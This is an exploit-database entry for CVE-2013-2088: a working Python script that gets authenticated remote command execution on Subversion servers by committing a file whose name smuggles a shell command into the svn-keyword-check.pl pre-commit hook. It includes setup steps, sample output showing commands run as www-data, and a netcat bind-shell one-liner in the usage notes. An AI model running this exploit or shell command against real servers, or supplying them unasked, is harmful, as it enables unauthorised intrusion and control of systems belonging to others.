发布 2016-10-12 漏洞条目

Subversion 1.6.6/1.6.12 – Code Execution

Exploit Source

# This is an exploit for the subversion vulnerability published as CVE-2013-2088.

# Author: GlacierZ0ne (kai@ktechnologies.de)

# Exploit Type: Code Execution

# Access Type: Authenticated Remote Exploit

# Prerequisites: svn command line client available,

# subversion server exposes webdav through apache,

# user/password with commit privilege

# The exploit has been tested with the following software:

# * subversion 1.6.6 server on Ubuntu 10.06 server 64-bit

# * subversion 1.6.12 (r955767) on Ubuntu 11.10 server 32-bit

# * subversion client version 1.8.8 (r1568071) on Ubuntu 14.04 64-bit

# The following conditions need to be met in order for this to work:

# The pre-commit script svn-keyword-check.pl needs to be configured as

# pre-commit hook. The version shipped with the subversion 1.6.6 contains

# a bug which prevents it from being used at all. This bug must be fixed

# (otherwise neither the exploit, nor the intented purpose of the script

# will work)

# This perl script can be downloaded from the archive source distribution

# at http://archive.apache.org/dist/subversion/. Scripts before 1.6.23

# are vulnerable.

# ###############################################################

# 1. configure the pre-commit hook to use svn-keyword-check.pl

# ###############################################################

# Copy the svn-keyword-check.pl from the source distribution to the

# /svn/repos/<your repository>/hooks directory. Rename pre-commit.tmpl

# to pre-commit. Make sure both files are owned by the user running

# apache (e.g. www-data) and have the executable flag set:

# notroot@ubuntu:/$ cd /svn/repositories/testrepo/hooks

# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo mv pre-commit.tmpl pre-commit

# notroot@ubuntu:/svn/repos/testrepo/hooks$ sudo chmod +x pre-commit

# notroot@ubuntu:/svn/repos/testrepo/hooks$ ls -al

# total 76

# drwxr-xr-x 2 www-data www-data 4096 2016-09-30 13:35 .

# drwxr-xr-x 7 www-data www-data 4096 2016-09-05 16:28 ..

# -rw-r--r-- 1 www-data www-data 2000 2016-09-05 15:23 post-commit.tmpl

# -rw-r--r-- 1 www-data www-data 1663 2016-09-05 15:23 post-lock.tmpl

# -rw-r--r-- 1 www-data www-data 2322 2016-09-05 15:23 post-revprop-change.tmpl

# -rw-r--r-- 1 www-data www-data 1592 2016-09-05 15:23 post-unlock.tmpl

# -rwxr-xr-x 1 www-data www-data 604 2016-09-30 13:32 pre-commit

# -rw-r--r-- 1 www-data www-data 609 2016-09-05 19:10 pre-commit.tmpl

# -rw-r--r-- 1 www-data www-data 2410 2016-09-05 15:23 pre-lock.tmpl

# -rw-r--r-- 1 www-data www-data 2796 2016-09-05 15:23 pre-revprop-change.tmpl

# -rw-r--r-- 1 www-data www-data 2100 2016-09-05 15:23 pre-unlock.tmpl

# -rw-r--r-- 1 www-data www-data 2830 2016-09-05 15:23 start-commit.tmpl

# -rwxr-xr-x 1 www-data www-data 8340 2016-09-30 13:35 svn-keyword-check.pl

# notroot@ubuntu:/svn/repos/testrepo/hooks$

# According to the subversion documentation, svn-keyword-check.pl needs

# to be called by pre-commit. svn-keyword-check.pl will return 1 if it

# detects something that should prevent the commit. In that case, the

# subversion server will cancel the commit. Here's how pre-commit looked

# on my test server:

# notroot@ubuntu:/svn/repos/testrepo/hooks$ cat pre-commit

# #!/bin/sh

# REPOS="$1"

# TXN="$2"

# # Make sure that the log message contains some text.

# #jSVNLOOK=/usr/bin/svnlook

# $SVNLOOK log -t "$TXN" "$REPOS" | \

# ep "[a-zA-Z0-9]" > /dev/null || exit 1

# # Exit on all errors.

# set -e

# # Check the files that are are listed in "svnlook changed" (except deleted

# # files) for possible problems with svn:keywords set on binary files.

# "$REPOS"/hooks/svn-keyword-check.pl --repos $REPOS --transaction $TXN

# #

# # All checks passed, so allow the commit.

# exit 0

# ###############################################################

# 2. fix the bug in svn-keyword-check.pl

# ###############################################################

# The script pre-commit will pass on repository and transaction to

# the script svn-keyword-check.pl. Alternatively, it also accepts

# repository and revision. However, specifying both transaction

# and revision is illegal, only one of them is considered legal.

# This reflects in the input parameter plausibility check

# performed in line 89:

# if (defined($transaction) and !defined($revision)) {

# croak "Can't define both revision and transaction!\n";

# }

# Unfortunately, there is an exclamation mark too much. It must

# be

# if (defined($transaction) and defined($revision)) {

# croak "Can't define both revision and transaction!\n";

# }

# The way this script is shipped in the 1.6.6 source distribution

# no commit is possible at all.

# Before using the exploit you should first commit one file

# manually so that the svn client can store your user/password

# locally.

# Then, open a shell and navigate to the directory of your project

# and start python cve-2013-2088-1.py <command>:

# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py ifconfig

# [+] Randfilename is mJHeSkya

# [+] Created random file

# [+] Submitted random file to version control

# [+] Created fake file for cmd execution

# [+] Exploit seems to work:

# eth0 Link encap:Ethernet HWaddr 00:0c:29:08:a3:1a

# inet addr:192.168.26.136 Bcast:192.168.26.255 Mask:255.255.255.0

# inet6 addr: fe80::20c:29ff:fe08:a31a/64 Scope:Link

# UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

# RX packets:1060 errors:0 dropped:0 overruns:0 frame:0

# TX packets:806 errors:0 dropped:0 overruns:0 carrier:0

# collisions:0 txqueuelen:1000

# RX bytes:172042 (172.0 KB) TX bytes:136684 (136.6 KB)

# lo Link encap:Local Loopback

# inet addr:127.0.0.1 Mask:255.0.0.0

# inet6 addr: ::1/128 Scope:Host

# UP LOOPBACK RUNNING MTU:16436 Metric:1

# RX packets:0 errors:0 dropped:0 overruns:0 frame:0

# TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

# collisions:0 txqueuelen:0

# RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

# kai@KTEC64:~/eworkspace/kais_1_project$ python svn_exploit2.py id

# [+] Randfilename is WmolHiuv

# [+] Created random file

# [+] Submitted random file to version control

# [+] Created fake file for cmd execution

# [+] Exploit seems to work:

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Important things to notice

# * For each command execution the exploit will put a file under

# version control. If you submit a lot of commands you will

# create a lot of files with random 8 alphanumeric character

# file names in your repository.

# * Your command must not contain a / since file names must not

# contain a /. In the author's test environment the current

# working directory of apache was the root folder /.

# Therefore, the exploit will replace / in the command with

# $(pwd). This worked fine for the author.

# In your environment this might be different. As first thing

# execute $(pwd) in order to check if this works for you, too.

# * The command execution assumes that your command prints something

# to the terminal and exits. If you know your command will not

# immediately terminate (e.g. because you're starting a reverse/

# bind shell), provide the -d or --dont-terminate flag:

# python svn_exploit2.py -d "/bin/bash 0</tmp/mypipe | nc -l 192.168.1.100 4444 1> /tmp/mypipe"

import sys

import subprocess

import argparse

import random

import os

if __name__ == "__main__":

lowerupper = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

slash_replacement = "$(pwd)"

cwd = os.getcwd()

parser = argparse.ArgumentParser (usage="python {} [options] command".format (sys.argv [0]),

epilog="\x0a\x0a")

parser.add_argument (dest="command", help="Command to execute")

parser.add_argument ("-d", "--dont-terminate", help="don't force output be sent back to the client. Useful for reverse shell connections.",

action="store_true")

# args handling

if (len(sys.argv) <= 1):

parser.print_help ()

sys.exit (0)

args = parser.parse_args ()

if not args.command:

parser.print_help ()

sys.exit (0)

# / cannot be used in the command because svn will interprete it as

# file separator. Therefore you have to use a workaround. Here,

# $(pwd) works great for us.

command = args.command

if command.find ("/") != -1:

command = command.replace("/", slash_replacement)

# prepare output files for stdout, stderr

sout = open ("stdout", "w+")

serr = open ("stderr", "w+")

randfilename = ""

for idx in range (0, 8):

randfilename = randfilename + lowerupper [random.randint (0,51)]

print ("[+] Randfilename is {}".format(randfilename))

f = open (randfilename, "w+")

f.write ("You've been pwned by GlacierZ0ne'") # write 4

f.flush ()

f.close ()

p = subprocess.Popen (["svn", "add", "./{randfilename}".format (randfilename=randfilename)],

stdout=subprocess.PIPE, stderr=subprocess.PIPE)

c = p.communicate ()

sout.write (c[0])

if len(c[1]) > 0:

print ("[-] Create random file failed:")

print (c[1])

sys.exit (0)

print ("[+] Created random file")

p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "./{randfilename}".format (randfilename=randfilename)],

stdout=subprocess.PIPE, stderr=subprocess.PIPE)

c = p.communicate ()

sout.write (c[0])

if len(c[1]) > 0:

print ("[-] Submission of random file failed:")

print (c[1])

sys.exit (0)

print ("[+] Submitted random file to version control")

fakefilename = None

if args.dont_terminate == True:

fakefilename = "{}; {}".format (randfilename, command)

else:

fakefilename = "{}; {} 1>&2; exit 1".format (randfilename, command)

f = open (fakefilename, "w+")

f.write ("You've been pwned by GlacierZ0ne") # write 4

f.flush ()

f.close ()

p = subprocess.Popen (["svn", "add", "{fakefilename}"

.format (cwd=cwd, fakefilename=fakefilename)],

stdout=subprocess.PIPE, stderr=subprocess.PIPE)

c = p.communicate ()

sout.write (c[0])

if len(c[1]) > 0:

print ("[-] Creation of fake file failed:")

print (c[1])

sys.exit (0)

print ("[+] Created fake file for cmd execution")

p = subprocess.Popen (["svn", "commit", "-m", "I pwned you", "{fakefilename}"

.format (cwd=cwd, fakefilename=fakefilename)],

stdout=subprocess.PIPE, stderr=subprocess.PIPE)

c = p.communicate ()

sout.write (c[0])

if len(c[1]) == 0:

if not args.dont_terminate:

print "[-] Something went wrong, pre-commit hook didn't kick in."

else:

print "[!] Done"

sys.exit (0)

else:

idx0= c[1].find ("Commit blocked by pre-commit hook")

idx = c[1].find ("failed with this output")

if idx0 != -1 and idx != -1:

print ("[+] Exploit seems to work: ")

print (c[1][idx + len("failed with this output") + 1:])

sout.flush ()

sout.close ()

serr.flush ()

serr.close ()

作者: GlacierZ0ne
日期: 2016-10-12
类别: remote
平台: linux

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow